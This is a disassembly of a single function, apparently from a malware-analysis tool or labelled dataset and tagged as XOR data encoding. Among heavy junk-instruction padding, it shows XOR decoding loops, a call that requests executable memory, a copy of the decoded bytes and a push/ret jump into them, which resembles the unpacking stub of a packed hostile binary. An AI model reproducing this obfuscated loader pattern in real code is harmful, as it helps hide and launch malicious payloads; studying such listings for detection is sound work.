Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x15b75717
add edx, 0xfabf1f85
sub ebx, 1
popal
add ebx, edx
and edx, ebx
mov edx, 0
mov edi, eax
add ebx, ecx
sub ecx, ebx
and ebx, ebx
mov esi, edi
inc ebx
or ebx, ebx
mov eax, esi
sub ecx, ebx
mov ebx, ecx
inc edx
inc ebx
sub ebx, ecx
cmp edx, 0x100d0ad
jne 0xa789c8
add ecx, ebx
add ebx, ecx
sub ebx, edx
mov edx, ebx
mov edx, 0xa78796
sub esi, 0xab273fe9
add esi, 0x5cefb2fe
add esi, edi
mov eax, 0xa7898a
or ebx, ebx
and edi, ebx
mov ecx, dword [edx]
mov ebx, 0x74e031ab
add ebx, 1
and ecx, 0xff
mov ebx, edi
add ebx, ebx
dec ebx
xor dword [eax], ecx
add ebx, 0x79e7f263
mov esi, ebx
add eax, 1
add esi, 0xdf432000
and esi, edi
or edi, edi
inc edx
dec esi
sub esi, 0x825eb6ed
or ebx, esi
cmp eax, entry0
jl 0xa78a0f
inc edi
sub ebx, 0x3b8aaf3a
or esi, edi
mov esi, ebx
add edi, 1
sub edi, 0x50cd73e6
mov edi, ebx
not ebx
and edi, esi
mov ecx, 0xa7898e
mov ebx, edx
dec ebx
sub esi, 0x2efff9e0
mov ecx, dword [ecx]
inc edi
add ebx, 0x3da7e5f5
mov edi, ebx
mov ecx, dword [ecx]
not ebx
or edi, edi
dec edx
push ecx
and ebx, ebx
add ebx, 0x5fc7d786
mov edx, 0x3b51cddd
mov ecx, 0xa7898a
inc edi
add edi, edx
add ebx, 0x64accbc2
mov ecx, dword [ecx]
dec edx
add esi, ebx
sub edi, 1
mov ecx, dword [ecx]
sub edi, 0xf3e97612
inc edi
push 0xa78992
sub edi, esi
sub edx, edi
add ebx, 0xae92f271
call ecx
sub edx, edi
mov esi, 0x3aa11356
mov ecx, dword [esp]
add esp, 4
mov ebx, 0x48a5d96a
and esi, ebx
add esi, 1
sub esp, 4
mov dword [esp], 0xa7899f
sub esi, 0xa2f61395
add esi, ebx
sub esp, 4
mov dword [esp], eax
not edi
mov ebx, edi
mov ebx, edi
call ecx
and edi, esi
or esi, esi
push 0x40
not esi
sub esi, 0x67dcbcec
or edx, edi
sub esp, 4
mov dword [esp], 0x3000
dec edx
sub esi, edi
sub esp, 4
mov dword [esp], 0x20000bcc
mov edi, edx
mov edi, 0xd1431636
inc ebx
sub esp, 4
mov dword [esp], 0
and esi, edx
or edx, ebx
call eax
sub esi, 0x4c9e2db8
or esi, ebx
add edi, 0x9eaf2acf
add eax, 0x20000b1f
sub edx, 0x8824dff8
sub edi, 0x6a5c7fc4
mov ecx, 0xa7362f51
or edi, edx
sub esi, edx
add ebx, edx
mov dword [eax], ecx
sub edi, 0x15922d9b
and edx, esi
mov ecx, dword [eax]
inc edx
mov edi, ebx
dec edi
cmp ecx, 0xa7362f51
je 0xa78b9b
mov eax, 0
mov bl, byte [eax]
not edi
and esi, edx
mov esi, edx
and edi, esi
dec edx
or esi, edi
or edx, ebx
sub ebx, edx
mov eax, section..reltc
add ebx, 0x5767bfc7
or ebx, edx
or edx, ebx
mov edi, 0xa78795
not edx
inc edx
mov ebx, 0x56a87d4a
mov ecx, 0
sub edx, ebx
add edx, ebx
mov esi, 0xa78796
mov edx, 0x724f66e5
sub ebx, edx
lea esi, [esi + ecx]
add edx, 0x2c1b53a1
or ebx, ebx
mov esi, dword [esi]
add edx, 1
dec edx
add ebx, ebx
and esi, 0xff
dec ebx
mov ebx, edx
inc ecx
not ebx
sub edx, 0xf414a5ad
cmp ecx, 0x1f4
jne 0xa78c10
mov ecx, 0
add ebx, 0x25e0aa63
not edx
add edx, ebx
mov edx, 0xebbea97b
and edx, edx
xor dword [eax], esi
add edx, edx
sub edx, ebx
add eax, 2
inc edx
add edx, edx
cmp eax, edi
jl 0xa78bcf
add ebx, 0x70fca729
inc ebx
inc edx
mov edx, 0x9be1d408
add ebx, ebx
mov edi, section..reltc
inc esi
mov esi, 0x3392b7be
mov edx, section..reltc
mov ebx, 0x49879eed
or ebx, ebx
add esi, esi
mov eax, 0xa78795
add esi, 0xa9f0b795
sub ebx, 0xd80d4ff4
mov ecx, 0
add esi, esi
dec ebx
add esi, ebx
mov cl, byte [edx]
sub esi, ebx
sub ebx, esi
and esi, ebx
mov byte [edi], cl
mov ebx, esi
add ebx, ebx
dec esi
inc edi
and ebx, esi
or esi, esi
not ebx
add edx, 2
or ebx, ebx
and esi, esi
sub esi, ebx
cmp edx, eax
jle 0xa78c7b
mov ebx, 0x7e2e6a23
and ebx, esi
sub ebx, 0x4fdcc1a3
not edx
mov edx, 0x1656279b
push 0x8dc6a0
sub edx, 0xd1059548
add edx, edx
ret